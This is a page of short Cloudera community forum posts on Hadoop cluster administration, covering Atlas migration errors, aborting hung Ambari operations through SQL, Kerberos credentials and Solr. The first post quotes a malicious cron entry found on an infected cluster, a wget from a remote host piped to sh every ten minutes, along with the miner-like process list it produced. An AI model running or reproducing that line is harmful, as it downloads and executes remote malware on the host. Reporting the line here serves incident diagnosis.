In my case, the below cron entry was found   $ sudo -u yarn crontab -l */10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh   It resulted in so many spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k.   $ ps -ef | grep yarn yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1 yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1 yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1 yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1 yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1 yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1 yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr   Thanks for discussing and bringing up this issue. ... View more

Hi,   How to configure the retention period for CDP INFRA SOLR? Couldn't find the options suggested in this post in Cloudera Manager.   Thanks, Megh ... View more

Hi @ManjuN ,   NoClassDefFoundError Is usually seen when required jar is missing. In this case atlas migration script is looking for a jar which contains class "com/tinkerpop/blueprints/Graph". This class definition is available in blueprints-core-2.6.0.jar which is available on HDP-2.6.x.     # jar -tf /usr/hdp/2.6.<version>/atlas/server/webapp/atlas/WEB-INF/lib/blueprints-core-2.6.0.jar | grep -i "com/tinkerpop/blueprints/Graph" com/tinkerpop/blueprints/Graph.class com/tinkerpop/blueprints/GraphFactory.class com/tinkerpop/blueprints/GraphQuery.class       In your case, you are running a migration script from "3.1.0.0-78" directory and that is the reason you are getting NoClassDefFoundError.     python /usr/hdp/3.1.0.0-78/atlas/tools/migration-exporter/atlas_migration_export.py -d /atlas_metadata       Steps in the document needs to be performed only if you are upgrading your cluster from 2.6.x to 3.0+ version, because In HDP-3.0+, Apache Atlas uses the JanusGraph graph database to store metadata objects whereas in earlier versions, Atlas used the Titan graph database for metadata storage.   The document says, "Before upgrading HDP and Atlas, perform the following steps on the HDP-2.x cluster".   If you are performing this step during a major upgrade (from HDP-2.6.x to HDP3.0+ or 2.6.5 to HDP-7.x), kindly run atlas_migration_export.py script from 2.6.x path. For minor versions, this step is not required. ... View more

Following KB can be used to delete users/groups in bulk   https://community.cloudera.com/t5/Community-Articles/Remove-AD-LDAP-accounts-from-Ambari-using-REST-API/tac-p/244196   ... View more

In case ambari API doesn't help. You can use following SQL queries to abort hung/queued/pending operations directly from ambari database.   1) Stop Ambari-Server   ambari-server stop   2) Take backup of ambari database before making any changes to ambari db 3) Check IN_PROGRESS, QUEUED and PENDING operations.   ambari=> select task_id,role,role_command from host_role_command where status='IN_PROGRESS'; ambari=> select task_id,role,role_command from host_role_command where status='QUEUED' limit 100; ambari=> select task_id,role,role_command from host_role_command where status='PENDING';   4) Abort Operations   ambari=> update host_role_command set status='ABORTED' where status='QUEUED'; ambari=> update host_role_command set status='ABORTED' where status='PENDING'; ambari=> update host_role_command set status='ABORTED' where status='IN_PROGRESS';   5) Start ambari-server   ambari-server start       ... View more

For secured/kerberized cluster, we may need to push kdc admin credentials by creating a temp credential store before deleting Ranger Admin component   ADD KDC CREDENTIALS: # curl -ivk -H "X-Requested-By: ambari" -u $AMBARI_USER:$AMBARI_PASSWD -X POST -d '{ "Credential" : { "principal" : "admin/admin@REALM", "key" : "hadoop", "type" : "temporary" } }' "$AMBARI_URL/api/v1/clusters/$CLUSTER_NAME/credentials/kdc.admin.credential" GET CREDENTIALS # curl -ivk -H "X-Requested-By: ambari" -u $AMBARI_USER:$AMBARI_PASSWD -X GET "$AMBARI_URL/api/v1/clusters/$CLUSTER_NAME/credentials/kdc.admin.credential"   ... View more

@Geoffrey Shelton Okot My intention is to use "su hive", not "su - hive". Below is the resource showing the difference. https://www.tecmint.com/difference-between-su-and-su-commands-in-linux/ Thanks. ... View more

Thanks Akhil S Naik 🙂 ... View more

@Venkat Edulakanti Usually this indicates that the Account might be locked from the Active Directory. Please cross check with your AD team and you can test it from terminal by running kinit command. $ kinit -kt /etc/security/keytabs/hdfs.headless.keytab hdfs-xxx@xxx.LOCAL If output of kinit command give you same error Clients credentials have been revoked while getting initial credentials. It means this account is expired/locked/deleted. ... View more

Thank you for your answer. I restart the solr and the configuration file appears. I think it may be caused by a mis-configuration days before I get the cluster. ... View more